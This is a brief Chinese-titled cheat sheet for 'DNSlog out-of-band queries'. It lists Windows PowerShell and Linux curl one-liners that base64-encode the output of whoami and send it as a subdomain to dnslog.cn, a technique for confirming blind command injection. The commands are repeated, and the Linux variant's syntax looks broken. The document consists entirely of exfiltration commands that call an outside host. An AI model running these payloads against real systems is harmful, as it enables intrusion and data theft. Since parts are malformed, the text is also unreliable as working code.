DNSlog带外查询
Windows
curl "$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($(whoami))).Replace('=','AA')).h54w7r.dnslog.cn"
Linux
curl "${$(echo $(whoami)|base64)//=/AA}.q1gj07.dnslog.cn"
curl "$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($(whoami))).Replace('=','AA')).h54w7r.dnslog.cn"
curl "${$(echo $(whoami)|base64)//=/AA}.q1gj07.dnslog.cn"